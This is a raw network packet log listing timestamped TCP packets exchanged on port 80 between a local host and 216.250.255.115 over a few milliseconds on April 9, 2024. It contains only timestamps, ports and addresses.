Apr 9, 2024 14:53:08.907200098 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907241106 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.907288074 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907321930 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907366037 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907373905 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.907505035 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907537937 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.907566071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907629967 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907691002 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.907701015 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907790899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907833099 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.907883883 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907943010 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.907998085 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908035040 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.908061981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908097982 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.908152103 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908241034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908314943 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.908387899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908494949 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908531904 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.908590078 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908658981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908699989 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.908760071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908840895 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908917904 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.908934116 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909006119 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909043074 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909076929 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909147024 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909219980 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909250021 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909393072 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909427881 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909485102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909563065 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909599066 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909653902 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909779072 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909868956 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.909884930 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.909970045 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910012960 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910020113 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910073042 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910106897 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910120964 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910212994 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910247087 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910288095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910357952 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910398960 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910455942 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910530090 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910564899 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910599947 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910686970 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910720110 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910789967 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910906076 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.910942078 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.910983086 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911007881 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911042929 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911084890 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911138058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911199093 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911201954 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911253929 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911288977 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911289930 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911350012 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911386967 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911400080 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911441088 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911519051 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911591053 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911604881 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911645889 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911672115 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911736965 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911812067 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911860943 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911876917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.911920071 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.911972046 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912029982 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912062883 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912106991 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912204027 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912240028 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912246943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912303925 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912338972 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912364960 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912410021 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912496090 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912503004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912585020 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912619114 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912621975 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912714958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912750006 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.912801027 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912880898 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.912914038 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913002968 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913081884 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913130999 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913161993 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913266897 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913301945 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913341045 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913428068 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913464069 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913515091 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913595915 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913630962 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913676023 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913773060 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913805962 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.913887978 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.913999081 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914037943 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.914103985 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914177895 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914213896 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.914252043 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914381981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914414883 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.914479971 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914547920 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914624929 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.914659023 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914738894 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914772034 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.914828062 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914911985 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.914993048 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915018082 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915093899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915128946 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915175915 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915245056 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915287971 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915350914 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915419102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915452003 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915463924 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915527105 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915560961 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915616989 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915661097 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915700912 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915749073 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915815115 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915847063 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.915904045 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.915966988 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916007996 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916013956 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916075945 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916109085 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916136026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916183949 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916224957 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916248083 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916300058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916343927 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916357040 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916416883 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916446924 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916505098 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916555882 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916604996 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916614056 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916738987 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916771889 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916788101 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916851997 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916876078 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916893005 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.916908026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916964054 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.916995049 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917038918 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917076111 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917107105 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917118073 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917186022 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917222023 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917248964 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917339087 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917371988 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917481899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917537928 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917567968 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917622089 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917676926 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917709112 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917769909 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917849064 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.917880058 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.917939901 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918024063 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918055058 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918113947 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918157101 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918190002 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918226004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918329954 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918361902 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918389082 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918438911 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918471098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918484926 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918561935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918592930 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918618917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918699026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918730021 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918745041 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918807983 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918840885 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.918880939 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918967962 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.918999910 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919061899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919143915 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919177055 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919223070 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919294119 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919325113 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919378042 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919431925 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919456959 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919461966 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919542074 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919557095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919574976 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919636965 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919670105 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919684887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919828892 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919842958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919861078 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.919914961 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.919956923 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.920010090 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920089006 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920124054 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.920177937 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920243979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920279026 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.920367956 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920443058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920478106 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.920519114 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920600891 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920634985 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.920753956 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.920967102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921000957 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921056032 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921107054 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921144009 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921159029 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921176910 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921221972 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921237946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921293974 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921328068 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921389103 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921461105 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921494961 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921556950 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921710014 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921741962 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921796083 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921880960 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.921916008 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.921952963 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922054052 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922090054 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922117949 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922179937 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922213078 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922245026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922311068 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922343969 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922399044 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922471046 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922502041 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922550917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922642946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922677040 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922714949 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922805071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922838926 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.922902107 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922966003 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.922997952 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923037052 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923139095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923170090 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923196077 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923233032 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923266888 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923314095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923405886 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923439980 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923494101 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923578024 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923609018 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923655033 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923734903 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923768997 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923794985 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923819065 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.923851013 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.923885107 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.924267054 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.924983025 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925023079 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925174952 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925189972 CEST	80	49730	216.250.255.115	192.168.2.4
